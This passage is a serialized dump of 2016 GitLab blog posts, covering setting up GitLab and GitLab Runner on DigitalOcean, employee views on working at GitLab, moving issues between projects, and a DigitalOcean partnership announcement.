Infrastructure","en-us/blog/look-into-gitlab-infrastructure.yml","en-us/blog/look-into-gitlab-infrastructure",{"_path":38263,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38264,"content":38270,"config":38275,"_id":38277,"_type":16,"title":38278,"_source":17,"_file":38279,"_stem":38280,"_extension":20},"/en-us/blog/getting-started-with-gitlab-and-digitalocean",{"title":38265,"description":38266,"ogTitle":38265,"ogDescription":38266,"noIndex":6,"ogImage":38267,"ogUrl":38268,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38268,"schema":38269},"Getting started with GitLab and DigitalOcean","This tutorial is adapted from the How To Use the GitLab One-Click Install Image to Manage Git Repositories tutorial on DigitalOcean.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672941/Blog/Hero%20Images/sharks-paper.jpg","https://about.gitlab.com/blog/getting-started-with-gitlab-and-digitalocean","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting started with GitLab and DigitalOcean\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Achilleas Pipinellis\"}],\n        \"datePublished\": \"2016-04-27\",\n      }",{"title":38265,"description":38266,"authors":38271,"heroImage":38267,"date":38272,"body":38273,"category":734,"tags":38274},[35789],"2016-04-27","\n_This tutorial is adapted from the [How To Use the GitLab One-Click Install\nImage to Manage Git Repositories][do-source] tutorial on DigitalOcean._\n\n### Introduction\n\nCollaborating on projects, keeping track of source changes, and maintaining a\nclean code repository are some great reasons to use a [version control](/topics/version-control/) system.\nVersion control is now considered an essential tool in software development.\n\nGit is the most popular distributed version control system. GitLab is a Git\nrepository management server that can be used to host repositories and set up\ncontrol structures for git within a clean web interface. It is built on Ruby on\nRails.\n\n[DigitalOcean] has created a GitLab application image that can be used to\ninstantly deploy GitLab Community Edition on a DigitalOcean Ubuntu 14.04 x86-64\ndroplet using the [Omnibus installer]. You can have your own repository system\nup and running in minutes.\n\n\u003C!-- more -->\n\n## Requirements\n\nThe [GitLab documentation recommends a minimum of 2GB of RAM and 2 CPU cores][req]\nfor optimum performance. If your projects are small (fewer than 100 users total),\n1GB of RAM and 1 CPU core may be sufficient, but make sure you have at least 1GB\nswap. You can follow the [How To Add Swap on Ubuntu 14.04][swap] tutorial.\n\nLow memory may result in `500` server errors (\"cannot allocate memory\"), so make\nsure you add enough RAM according to your needs.\n\n## Step One – Create a GitLab Droplet\n\nBefore you begin using GitLab, you need to spin up a DigitalOcean droplet using\nthe provided image.\n\nFrom the Control Panel, click on the \"Create Droplet\" button that is visible\nfrom any page:\n\n![Create Droplet](https://about.gitlab.com/images/blogimages/getting-started-with-gitlab-and-digitalocean/create-droplet-shadow.png)\n\nUnder the \"Choose an image\" section, select the \"One-click Apps\" tab and click\nthe \"GitLab\" image (the version might differ).\n\n![Droplet app](https://about.gitlab.com/images/blogimages/getting-started-with-gitlab-and-digitalocean/select_gitlab_app-shadow.png)\n\nThe next step is to choose the droplet size and the region you would like to use.\n\n![Hardware](https://about.gitlab.com/images/blogimages/getting-started-with-gitlab-and-digitalocean/hardware-shadow.png)\n\nAdd any SSH Keys, select any settings you'd like to use, and click \"Create\" at\nthe bottom.\n\n![Finalize creation](https://about.gitlab.com/images/blogimages/getting-started-with-gitlab-and-digitalocean/finalize-shadow.png)\n\nYour GitLab droplet will be created and available in a few minutes!\n\n## Step Two – Configure Domain Names and Emails\n\nWe still need to configure just a few things first to utilize our environment.\n\nBegin by setting up the domain name you would like to use for your GitLab\ninstance. Learn [how to set up domain names on DigitalOcean][do-domain] if you\nwant to use DigitalOcean's nameservers.\n\n>**Note:**\nIf you don't have a domain name at your disposal, you can just use your\ndroplet's IP address, but GitLab will _not_ be able to send emails without\nusing an SMTP server.\n\nOnce your domain name is configured correctly, you need to adjust some values\non the actual VPS instance. Log into your droplet as root through SSH, and open\nthe GitLab configuration file with your text editor:\n\n```\nvim /etc/gitlab/gitlab.rb\n```\n\nUncomment and adjust the `external_url` parameter to match your domain name:\n\n```\nexternal_url \"http://your_domain.com/\"\n```\n\nIf you have [generated an SSL certificate][ssl] for your domain, you can\nconfigure GitLab to use it in this file as well. The following settings set the\nlocations of the SSL certificates and instruct the NGINX web server to redirect\nthe HTTP traffic to HTTPS. Note that for HTTPS to work, you **must** set the URL\nscheme in `external_url` as `https`:\n\n```\nexternal_url \"https://your_domain.com/\"\n\nnginx['ssl_certificate'] = \"/etc/gitlab/ssl/your_domain.com.crt\"\nnginx['ssl_certificate_key'] = \"/etc/gitlab/ssl/your_domain.com.key\"\nnginx['redirect_http_to_https'] = true\n```\n\nGitLab uses its own bundled NGINX web server. You can find more information like\nusing your own external web server, changing the ports NGINX listens to, etc.,\nin the [official documentation][nginx-docs].\n\nWhile we're in this file, we can adjust the email settings that GitLab will use\nin the \"From:\" field in automated emails, and the email display name, respectively:\n\n```\ngitlab_rails['gitlab_email_from'] = \"gitlab@your_domain.com\"\ngitlab_rails['gitlab_email_display_name'] = 'Example'\n```\n\nThe GitLab One-Click application is configured to use a local postfix server\nfor sending emails. If you wish to use it with GitLab you might want to set it\nup correctly. Follow the \"[How To Install and Configure Postfix as a Send-Only\nSMTP Server on Ubuntu 14.04][do-postfix]\" tutorial for more information. For a\nproduction site, you will likely want to use an external service such as\nMandrill or SendGrid. If so, you can [configure the SMTP settings][gl-smtp] here\nas well.\n\nAfter saving and closing the file, we just need to reconfigure the service:\n\n```\ngitlab-ctl reconfigure\n```\n\nThis should be done whenever you make configuration changes in order for them to\ntake effect.\n\n## Step Three – Log into GitLab\n\nWhen you connect to your GitLab instance via SSH or the DigitalOcean web console,\nyou will see the message of the day (MOTD) which contains your randomly generated\nGitLab password. It will look like this:\n\n```\n------------------------------------------------------------------------------\nThank you for using DigitalOcean's GitLab Application.\nYour GitLab instance can be accessed at http://xxx.xxx.xxx.xxx/\nThe default credentials for GitLab are:\nUsername: root\nPassword: e0wXRM4fLmb6\n\nYou can find more information on using this image at: http://do.co/gitlabapp\n------------------------------------------------------------------------------\n```\n\nNext, open a web browser and navigate to your domain name (or the IP address of\nyour Droplet if you did not set up a domain name). You will be able to log in\nusing the credentials you found above.\n\n![Login](https://about.gitlab.com/images/blogimages/getting-started-with-gitlab-and-digitalocean/login-shadow.png)\n\nYou now have a full GitLab server configured and at your disposal to manage your\nrepositories.\n\n![Landing](https://about.gitlab.com/images/blogimages/getting-started-with-gitlab-and-digitalocean/landing-shadow.png)\n\n## Step Four – Modify Account Information\n\nIt would probably be more helpful if the account you're using, more accurately\nreflected your information. This will allow you to receive email updates and\nwill display your information to other users. The root account is the first one\ncreated by default, and it contains some predefined values for \"Name\", \"Username\"\nand \"Email\". You can change all that from the \"Admin Area\".\n\nLet's navigate to the \"Admin Area\" by clicking the wrench icon in the top-right\ncorner.\n\n![Admin](https://about.gitlab.com/images/blogimages/getting-started-with-gitlab-and-digitalocean/admin_button-shadow.png)\n\nIn the left sidebar click **Users**. This should only contain one user, the\nAdministrator account you are logged into.\n\n![Users area](https://about.gitlab.com/images/blogimages/getting-started-with-gitlab-and-digitalocean/admin_users-shadow.png)\n\nClick on the \"Edit\" button and change the account information at the top.\n\nThe \"Name\" field will be your name as displayed to other users. The \"Username\"\ncan be used to log in and it defines the owner of your projects. The \"Email\"\nis where alerts will be sent.\n\nIt is important to at least change the email field.\n\n![Account edit](https://about.gitlab.com/images/blogimages/getting-started-with-gitlab-and-digitalocean/account-shadow.png)\n\nClick \"Save changes\" at the bottom for the changes to take effect.\n\n## Updating to Newer Releases\n\nThe GitLab One-Click application is configured to use the GitLab Apt repository.\n[Updating to the most recent version][update-doc] is as simple as running:\n\n```\nsudo apt-get update\nsudo apt-get upgrade\n```\n\nBefore upgrading to a new release, GitLab automatically backups the database.\nIf you wish to make a full back up of your existing installation, run:\n\n```\nsudo gitlab-rake gitlab:backup:create\n```\n\nThe resulting backup will be located in: `/var/opt/gitlab/backups`. You can read\nmore in the [Omnibus backup documentation][backup].\n\n## Conclusion\n\nYou should now have a server configured to handle your team's Git projects. You\ncan easily manage user access, configure both public and private repositories,\nand get an overview of your projects' issues and commits.\n\nGitLab has a great help system accessible from within the user interface\n(visit `https://your_domain.com/help`). In a future article, we will discuss\nhow to manage repositories and users and effectively take advantage of the\ninterface.\n\nFor further information on configuring your GitLab Omnibus installation, check\nout the [official documentation][omnidocs].\n\n---\n\nIf you already have GitLab installed and want to use the [integrated CI][glci]\nfor your projects, check our other tutorial on\n[setting up GitLab Runner on DigitalOcean][runner-do].\n\n---\n\n[![Powered by DigitalOcean](https://about.gitlab.com/images/blogimages/powered-by-do-badge-gray.png)](https://www.digitalocean.com/features/one-click-apps/gitlab/)\n\n---\n\n_Photo credits: \u003Chttps://flic.kr/p/9RAQ2J> ([CC BY-NC 2.0][cc])_\n\n[digitalocean]: https://www.digitalocean.com\n[omnibus installer]: /2016/03/21/using-omnibus-gitlab-to-ship-gitlab/\n[req]: http://doc.gitlab.com/ce/install/requirements.html#hardware-requirements\n[do-domain]: https://www.digitalocean.com/community/articles/how-to-set-up-a-host-name-with-digitalocean\n[ssl]: https://www.digitalocean.com/community/tutorials/how-to-install-an-ssl-certificate-from-a-commercial-certificate-authority\n[nginx-docs]: http://doc.gitlab.com/omnibus/settings/nginx.html\n[do-postfix]: https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-postfix-as-a-send-only-smtp-server-on-ubuntu-14-04\n[gl-smtp]: http://doc.gitlab.com/omnibus/settings/smtp.html\n[backup]: http://doc.gitlab.com/omnibus/settings/backups.html\n[omnidocs]: http://doc.gitlab.com/omnibus\n[do-source]: https://www.digitalocean.com/community/tutorials/how-to-use-the-gitlab-one-click-install-image-to-manage-git-repositories\n[swap]: https://www.digitalocean.com/community/tutorials/how-to-add-swap-on-ubuntu-14-04\n[runner-do]: /blog/how-to-set-up-gitlab-runner-on-digitalocean/\n[glci]: /solutions/continuous-integration/ [cc]: https://creativecommons.org/licenses/by-nc/2.0/\n[update-doc]: http://doc.gitlab.com/omnibus/update/README.html#updating-using-the-official-repositories\n",[232],{"slug":38276,"featured":6,"template":678},"getting-started-with-gitlab-and-digitalocean","content:en-us:blog:getting-started-with-gitlab-and-digitalocean.yml","Getting Started With Gitlab And Digitalocean","en-us/blog/getting-started-with-gitlab-and-digitalocean.yml","en-us/blog/getting-started-with-gitlab-and-digitalocean",{"_path":38282,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38283,"content":38289,"config":38294,"_id":38296,"_type":16,"title":38297,"_source":17,"_file":38298,"_stem":38299,"_extension":20},"/en-us/blog/gitlab-employees-on-working-at-gitlab",{"title":38284,"description":38285,"ogTitle":38284,"ogDescription":38285,"noIndex":6,"ogImage":38286,"ogUrl":38287,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38287,"schema":38288},"What GitLab employees like about working at GitLab","We're often asked about what it's like to work at GitLab. Every GitLab team member answers this question a little differently.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679222/Blog/Hero%20Images/2015_amsterdam_team.jpg","https://about.gitlab.com/blog/gitlab-employees-on-working-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What GitLab employees like about working at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2016-04-26\",\n      }",{"title":38284,"description":38285,"authors":38290,"heroImage":38286,"date":38291,"body":38292,"category":6634,"tags":38293},[711],"2016-04-26","\n\nWe're often asked about what it's like to work at GitLab. Every GitLab team\nmember answers this question a little differently. But there were some\nnoticeable themes across each of their answers. We've highlighted some of\nthose key themes that making working at GitLab great.\n\n\u003C!--more-->\n\n## Gathering Feedback from our Team\n\nWe pay close attention to what our employees like and don’t like about\nworking at GitLab. To get insight from the team, we send out an anonymous\nsurvey to all GitLab team-members on a regular basis. The goal of the survey\nis to facilitate an open environment for people to share their thoughts,\nask questions, or raise potential concerns. Feedback, even if it is only\nmentioned by one employee, is acknowledged and addressed. Most often, the\nfeedback captured in the survey is addressed in our [Team Call](/handbook/communication/#team-call).\n\n## Five key themes\n\nFive key themes consistently came out as we got feedback from the team.\n\n**The people.** Our team members have described each other with words like talented,\ncaring, approachable, honest, frank, smart, brilliant, and skilled.\n\n**The product.** One of our team members summed it up nicely when she said,\n“It’s great working on a product that I actually love to use.”\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">I must say, working in the open full time on OSS (in Ruby even!) \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> is a very nice and welcome change. Great team and product.\u003C/p>&mdash; Josh Frye (@joshfng) \u003Ca href=\"https://twitter.com/joshfng/status/687994632454672385\">January 15, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n**Open source values.** Being involved in an open source project is motivating,\nbecause it’s not just a category, it’s a philosophy. Or to put it in the words of\nan anonymous team member, “working on open-source while getting paid for it is a dream job!”\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Things that I love about working at \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a>: Getting in touch with the OSS community. Awesome experience so far.\u003C/p>&mdash; A. Felipe Cabargas (@juanpintoduran) \u003Ca href=\"https://twitter.com/juanpintoduran/status/713573732829249536\">March 26, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n**Freedom.** On this theme, it's important to note that GitLab is a remote-only company,\nmeaning our employees are dispersed across the world. A lot of personal independence comes\nwith working fully remote, and the people who are drawn to GitLab tend to appreciate that.\nHere's a glimpse into our remote-only work culture.\n\n\u003Ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/NoFLJLJ7abE\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\nAnd last, but certainly not least, the opportunity.\n\n**Opportunity.** There is a great opportunity to learn from the people around you.\nGitLab has a large community of teachers and learners helping each other.\nSome of these people exist within our company and others are people who contribute their\nideas and knowledge to GitLab. Additionally, the fact that the company is growing presents\nan opportunity for team members to expand their skillset into new areas or grow to take\non a leadership role in their existing functional expertise. One GitLab team-member\nsaid, \"you have the ability to take on multiple hats and responsibilities, [and] everyone\nand everything is open to constant improvement.”\n\nHere’s a [more detailed presentation](https://docs.google.com/presentation/d/1h9P8Vf_6fzPbLCCahvwtIF5j_cH54zsv9iRSseVZzl0/edit#slide=id.gd443388ea_2_173) on what our team likes and dislikes, including what\nthe challenges and problems are, and how we’re dealing with them. We’re proud of the fact that\nour employees are pretty happy and we're committed to maintaining that! Perhaps, we'll\neven see more GitLab team-members setting up branded home offices\nlike our Service Engineer, [Drew Blessing](https://twitter.com/drewblessing).\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">.\u003Ca href=\"https://twitter.com/gitlab\">@GitLab\u003C/a> is hiring! Work wherever you&#39;re most comfortable...even your own GitLab-branded home office \u003Ca href=\"https://twitter.com/hashtag/remotework?src=hash\">#remotework\u003C/a> \u003Ca href=\"https://t.co/VMEhBui0Yh\">pic.twitter.com/VMEhBui0Yh\u003C/a>\u003C/p>&mdash; Drew Blessing (@drewblessing) \u003Ca href=\"https://twitter.com/drewblessing/status/697510602965553156\">February 10, 2016\u003C/a>\u003C/blockquote>\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nHave a question or a comment? As always, [give us a shout.](https://twitter.com/gitlab)\n",[3798,676],{"slug":38295,"featured":6,"template":678},"gitlab-employees-on-working-at-gitlab","content:en-us:blog:gitlab-employees-on-working-at-gitlab.yml","Gitlab Employees On Working At Gitlab","en-us/blog/gitlab-employees-on-working-at-gitlab.yml","en-us/blog/gitlab-employees-on-working-at-gitlab",{"_path":38301,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38302,"content":38308,"config":38312,"_id":38314,"_type":16,"title":38315,"_source":17,"_file":38316,"_stem":38317,"_extension":20},"/en-us/blog/feature-highlight-move-issues",{"title":38303,"description":38304,"ogTitle":38303,"ogDescription":38304,"noIndex":6,"ogImage":38305,"ogUrl":38306,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38306,"schema":38307},"Feature highlight: Move issues between projects","In GitLab 8.6 we added a feature allowing you to move issues between projects.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684674/Blog/Hero%20Images/truck.jpg","https://about.gitlab.com/blog/feature-highlight-move-issues","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature highlight: Move issues between projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Grzegorz Bizon\"}],\n        \"datePublished\": \"2016-04-20\",\n      }",{"title":38303,"description":38304,"authors":38309,"heroImage":38305,"date":38310,"body":38311,"category":8943},[2740],"2016-04-20","\n\n\nIn [8.6][releasepost] we added a feature allowing you to move issues between projects.\n\nIf you work on multiple projects, it's possible to accidentally create an issue\nin the wrong issue tracker. It's a seemingly simple mistake that is easy to miss.\nLet's say you don't catch it right away and you do a decent amount of work\non the wrong project. Now, your \"seemingly simple\" mistake just became a bigger one.\nWe've all been in this position before. With our 8.6 release, we want to avoid the\npanic that can come from creating an issue in the wrong project. Now, if you\ncreate an issue in the wrong project, you can easily move it to the right one.\n\n\u003C!-- more -->\n\n![Move issues between projects](https://about.gitlab.com/images/8_6/move-issue.png)\n\nWhen you move the issue, the original issue will be copied, closed, and then referenced.\nThis process makes sure nothing is lost in the move.\n\nAdditionally, anyone who is subscribed to the issue will get a notification that the\nissue was moved, with a link to the new location. This will, of course,\ndepend on your notification settings.\n\n![Moved issue email](https://about.gitlab.com/images/blogimages/moved-issue-email.png)\n\nIt's a relatively simple feature, but it was\n[tricky to implement][Merge request !2831].\n\n## Behind the scenes: Moving issues between projects\n\nAt first, moving issue between projects seemed like an easy task. However,\nwe encountered a tricky problem with references in the issue description or\ncomments.\n\nSuppose we have a project called Alice, and we created an issue inside it:\n\n```markdown\nHey, this issue is related to #123 and the solution is implemented in !456.\n```\n\nNow let's suppose we want to move this issue to Bob. The reference #123 points\nto an issue in Alice. Similarly, !456 points to a merge request in Alice as well.\nIf a user moves an issue to Bob, these references need to be updated so that they\ncontinue pointing to Alice, not Bob. Otherwise, the resulting references would\nlink to the wrong project. The same goes for snippets, labels, commits, etc.\n\nWe knew that we needed to fix these references by using GitLab's Markdown\ncross-project reference notation. However, at the time, not everything in GitLab\nsupported this notation. For example, labels (e.g. `~\"My Label\"`) could not be\nshared across projects. We had to fix that, so we did via [Merge request !2996].\n\n\nAnother step was simply substituting `#123` with `gitlab-org/gitlab-ce#123`.\nBut it is possible you could have text like this:\n\n```markdown\nHi, this is a duplicate of http://gitlab.com/gitlab-org/gitlab-ce/issues/123.\nAlso see documentation docs.gitlab.com/ee/some-page#123. Also take a look at this code:\n\n    puts 'some code' #123 is a comment\n```\n\nSo we know that this description holds a reference to issue 123 but we do not\nknow *where it is*, or how to substitute it in the right place. We needed to modify\nthe source text. However, changing the source text would interfere with Markdown.\nTo solve this, I tried some prototypes but couldn't find a better solution than\nwriting yet another parser for Markdown that would support the full Abstract\nSyntax Tree of Markdown. This would add support for mutable nodes in a tree,\nallowing us to modify text where needed.\n\nHowever, once I started this work, I felt that this was a complicated solution so\nI decided to look for a [boring solution][values]. I reached out to my fellow\ndevelopers on the team to find a better boring solution. After sometime,\n[Kamil] helped me and we came with different solution.\n\nWe decided to use existing mechanisms to verify if we can substitute reference\nin place it has been detected at. We knew that resulting HTML should not change,\nso we could try substituting local reference with cross-project variation and\nsee if generated HTML is different than the original one. If it didn't change,\nthen substitution is valid.\n\nBelow you can find some implementation details of current solution.\n\n1.  Match all local references to project, issue, merge request and all other\n    entities using Regexp.\n\n    References like `#123` for issue, `!456` for merge request are being\n    matched.\n\n1.  Substitute each subsequent match with fully-expanded cross-project\n    reference.\n\n    This substitutes reference like `#123` with `gitlab-org/gitlab-ce#123`.\n\n1.  For each substitution generate HTML twice, using a new content and using an\n    old content.\n\n    Because of the fact that cross-project reference, when used in a context\n    of the project it refers to is rendered as a local reference, both resulting\n    HTMLs should be the same.\n\n1.  If resulting HTMLs are the same, we permanently alter original text to\n    contain cross-project reference instead of local reference.\n\nThis solution is not the most optimal one because of performance reasons, but\nit allowed us to ship this feature quickly and in the future we can improve it\nby using Abstract Syntax Tree implementation for Markdown.\n\nWith this approach, we are also sure that modifications to issue/comments\ncontent are correct and don't break your issue which can hold valuable\ninformation.\n\n[Kamil]: https://twitter.com/ayufanpl\n[Merge request !2831]: https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2831\n[values]: https://handbook.gitlab.com/handbook/values/\n[releasepost]: /releases/2016/03/22/gitlab-8-6-released/\n[Merge request !2996]: https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2966\n",{"slug":38313,"featured":6,"template":678},"feature-highlight-move-issues","content:en-us:blog:feature-highlight-move-issues.yml","Feature Highlight Move Issues","en-us/blog/feature-highlight-move-issues.yml","en-us/blog/feature-highlight-move-issues",{"_path":38319,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38320,"content":38326,"config":38331,"_id":38333,"_type":16,"title":38334,"_source":17,"_file":38335,"_stem":38336,"_extension":20},"/en-us/blog/gitlab-partners-with-digitalocean-to-make-continuous-integration-faster-safer-and-more-affordable",{"title":38321,"description":38322,"ogTitle":38321,"ogDescription":38322,"noIndex":6,"ogImage":38323,"ogUrl":38324,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38324,"schema":38325},"GitLab & DigitalOcean: Faster, safer & affordable CI","We are excited to announce our partnership with DigitalOcean, the world’s simplest cloud infrastructure provider.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684195/Blog/Hero%20Images/ios-development.jpg","https://about.gitlab.com/blog/gitlab-partners-with-digitalocean-to-make-continuous-integration-faster-safer-and-more-affordable","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Partners with DigitalOcean to make Continuous Integration faster, safer, and more affordable\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amara Nwaigwe\"}],\n        \"datePublished\": \"2016-04-19\",\n      }",{"title":38327,"description":38322,"authors":38328,"heroImage":38323,"date":38329,"body":38330,"category":299},"GitLab Partners with DigitalOcean to make Continuous Integration faster, safer, and more affordable",[36786],"2016-04-19","\n\nToday, we are excited to announce our partnership with DigitalOcean, the world’s simplest\ncloud infrastructure provider. Together, GitLab and DigitalOcean want to help developers\neliminate the scaling challenges that come with Continuous Integration (CI), such as speed,\nsecurity, and cost. To help alleviate these challenges, GitLab partnered with DigitalOcean to\nprovide free Runners to all projects on GitLab.com as well as discount codes for GitLab\nCommunity Edition and Enterprise Edition users.\n\n\u003C!-- more -->\n\n![GitLab + DigitalOcean](https://about.gitlab.com/images/blogimages/gitlab-do.jpg)\n\n## Eliminating Scaling Challenges with DigitalOcean\n\nAt GitLab, we have a new release every month on the 22nd, so we respect the importance of\nagile development and timely testing. That is why we [built Continuous Integration](/solutions/continuous-integration/) directly into\nour platform. Our continuous integration allows you to run a number of tests as you prepare to\ndeploy your software. Naturally, we are heavy users of our own software. We run about 16 tests\nin parallel. While the benefits of testing are undeniable, we realized that running several\nparallel tests requires a lot of CPU. The need to scale servers up to meet testing demands often\nforces developers to sacrifice speed, security, and/or money.\n\nWe want to help solve the challenges arising from agile development processes and growing code\nbases. “Together with DigitalOcean, we’ve taken the challenges of expensive and slow build\nprocesses head on—changing the way developers approach the build process,” said Sid Sijbrandij,\nour CEO and co-founder. “Complementing our collaborative platform, DigitalOcean is uniquely\nsuited to help us solve these problems as it can spin up new, provisioned servers in\nunder a minute, an industry record. Developers can have the needed resources simply and\nimmediately for testing and launching their code.”\n\nTo further support the needs of developers, in late March we introduced a new autoscaling\nfeature to our existing GitLab Runner. GitLab Runner is a hosted application that processes\nbuilds. This new feature, called [GitLab Runner Autoscale](/releases/2016/03/29/gitlab-runner-1-1-released/), enables you to automatically spin up\nnew instances (and wind them down) as needed. This dynamic availability makes it faster, safer\nand more affordable for you to run your builds in parallel. While instances can be hosted at all\nthe major cloud providers, DigitalOcean is uniquely suited to support this autoscaling feature.\nWith the fastest start in the industry, DigitalOcean can make new instances available in under a\nminute versus up to eight minutes on a leading cloud platform.\n\n## Benefits to Developers\n\nDigitalOcean has made tremendous strides in supporting the development community with a simple\nand scalable cloud computing solution. DigitalOcean’s dedication to simplicity and scale\nperfectly aligns with GitLab’s focus on delivering a code collaboration tool that makes it\neasier for developers to code, test, and deploy together. Our goal in partnering with\nDigitalOcean was to make continuous integration fast, secure, and cost-effective. We hope that\nthis partnership will offer the following benefits:\n\n* Speed: You no longer have to wait to test your code. Running tests can take multiple hours,\n  especially if it’s the end of the sprint and your tests are the last one in the queue.\n  Now, you can scale your Runners up to test in parallel.\n* Security: Test your code in a controlled and safe environment. After the machine\n  runs the test, it’s discarded to ensure security.\n* Affordability: Save money by only paying for servers when you use them.\n\nBen Uretsky, CEO and co-founder of DigitalOcean, is equally excited about the benefits this\npartnership brings to developers. “We want to make it easier for teams building and scaling\ndistributed applications in the cloud,” he said. “This partnership with GitLab enhances the open-\nsource, collaborative approach to development.”\n\n## Start using GitLab + DigitalOcean Today\n\nIf you’re not a GitLab.com customer, simply [create a GitLab.com account](https://gitlab.com/users/sign_in) to get free Runners\nfor your public and private repositories.\n\nFor existing GitLab.com users, great news, [your Runners are powered by DigitalOcean][rundo] and are\ncompletely free.\n\nFor GitLab Community Edition users, use the promotional code `GitLab10` to receive a $10\ncredit*, when creating a new DigitalOcean account.\n\nFor GitLab Enterprise Edition users, you'll receive an email with a unique promo for\na $250 credit* to use to host your own Runners on DigitalOcean.\n\n**Note: Promotion code available for new DigitalOcean customers only.*\n\n[rundo]: /blog/shared-runners/\n\n## Need help setting up your Runners?\n\nFor help setting up your GitLab Runners, read the tutorial documentation,\n[How to set up GitLab Runner on DigitalOcean](/blog/how-to-set-up-gitlab-runner-on-digitalocean/).\n",{"slug":38332,"featured":6,"template":678},"gitlab-partners-with-digitalocean-to-make-continuous-integration-faster-safer-and-more-affordable","content:en-us:blog:gitlab-partners-with-digitalocean-to-make-continuous-integration-faster-safer-and-more-affordable.yml","Gitlab Partners With Digitalocean To Make Continuous Integration Faster Safer And More Affordable","en-us/blog/gitlab-partners-with-digitalocean-to-make-continuous-integration-faster-safer-and-more-affordable.yml","en-us/blog/gitlab-partners-with-digitalocean-to-make-continuous-integration-faster-safer-and-more-affordable",{"_path":38338,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38339,"content":38345,"config":38348,"_id":38350,"_type":16,"title":38351,"_source":17,"_file":38352,"_stem":38353,"_extension":20},"/en-us/blog/how-to-set-up-gitlab-runner-on-digitalocean",{"title":38340,"description":38341,"ogTitle":38340,"ogDescription":38341,"noIndex":6,"ogImage":38342,"ogUrl":38343,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38343,"schema":38344},"How to set up GitLab Runner on DigitalOcean","In this tutorial we will explore how easy it is to install and set up your own Runner on DigitalOcean.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684667/Blog/Hero%20Images/runners.jpg","https://about.gitlab.com/blog/how-to-set-up-gitlab-runner-on-digitalocean","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to set up GitLab Runner on DigitalOcean\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Achilleas Pipinellis\"}],\n        \"datePublished\": \"2016-04-19\",\n      }",{"title":38340,"description":38341,"authors":38346,"heroImage":38342,"date":38329,"body":38347,"category":734},[35789],"\n\n### Introduction\n\nGitLab has [built-in continuous integration][doc-ci] to allow you to run a\nnumber of tasks as you prepare to deploy your software. Typical tasks\nmight be to build a software package or to run tests as specified in a\nYAML file. These tasks need to run by something, and in GitLab this something\nis called a [Runner][doc-runners]; an application that processes builds.\n\nIn March we introduced [GitLab Runner 1.1][1_1] with the cool feature of\nautoscaling and a week later we announced that all [shared Runners on GitLab.com\nuse autoscaling][autoscale-post]. The shared Runners can be used for free by\nany user with a GitLab.com account.\n\nIn this tutorial we will explore how easy it is to install and set up your own\nRunner on [DigitalOcean]; a Runner that will be 'specific' to your projects as\nwe say in the GitLab lingo.\n\n## Prerequisites\n\nWe will use the Docker executor since it has the most supported features\naccording to the [GitLab Runner executor compatibility chart][chart]. For this,\nwe will need to install Docker on the server that will host the GitLab Runner.\n\nFortunately, DigitalOcean has a [one-click image with Docker][one-docker]\npre-installed on Ubuntu 14.04 and this is what we will use.\n\n>**Note:**\nYou are free to use any Linux distribution supported by DigitalOcean, even\nFreeBSD. GitLab Runner is supported on all Operating Systems.\n\n## Create a droplet\n\n[Login to DigitalOcean][cloud] and from the Control Panel, click on the \"Create\nDroplet\" button that is visible from any page.\n\n![Create Droplet](https://about.gitlab.com/images/blogimages/how-to-set-up-gitlab-runner-on-digitalocean/create-droplet-shadow.png)\n\nUnder the \"Choose an image\" section, select the \"One-click Apps\" tab and click\nthe \"Docker\" image (the version might differ).\n\n![Droplet app](https://about.gitlab.com/images/blogimages/how-to-set-up-gitlab-runner-on-digitalocean/select-docker-shadow.png)\n\nThe next step is to choose the droplet size and the region you would like to use.\nYou are advised to use the **1 GB** / **1 CPU** droplet for quicker builds.\n\n![Hardware](https://about.gitlab.com/images/blogimages/how-to-set-up-gitlab-runner-on-digitalocean/hardware-shadow.png)\n\nAdd any SSH Keys, select any settings you'd like to use, and click \"Create\" at\nthe bottom.\n\n![Finalize 